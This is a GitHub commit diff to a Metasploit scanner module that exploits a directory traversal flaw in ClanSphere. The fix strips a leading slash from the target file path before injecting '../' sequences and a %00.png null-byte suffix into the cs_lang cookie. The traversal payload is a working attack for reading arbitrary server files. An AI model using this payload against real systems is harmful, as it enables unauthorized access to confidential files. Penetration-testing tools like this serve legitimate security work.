We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 34731c3 commit 3f3e681Copy full SHA for 3f3e681
modules/auxiliary/scanner/http/clansphere_traversal.rb
@@ -51,11 +51,15 @@ def run_host(ip)
51
peer = "#{ip}:#{rport}"
52
53
print_status("#{peer} - Reading '#{datastore['FILE']}'")
54
+
55
traverse = "../" * datastore['DEPTH']
56
+ f = datastore['FILE']
57
+ f = f[1, f.length] if f =~ /^\//
58
59
res = send_request_cgi({
60
'method' => 'GET',
61
'uri' => "#{base}index.php",
- 'cookie' => "blah=blah; cs_lang=#{traverse}#{datastore['FILE']}%00.png"
62
+ 'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png"
63
})
64
65
if res and res.body =~ /^Fatal error\:/
0 commit comments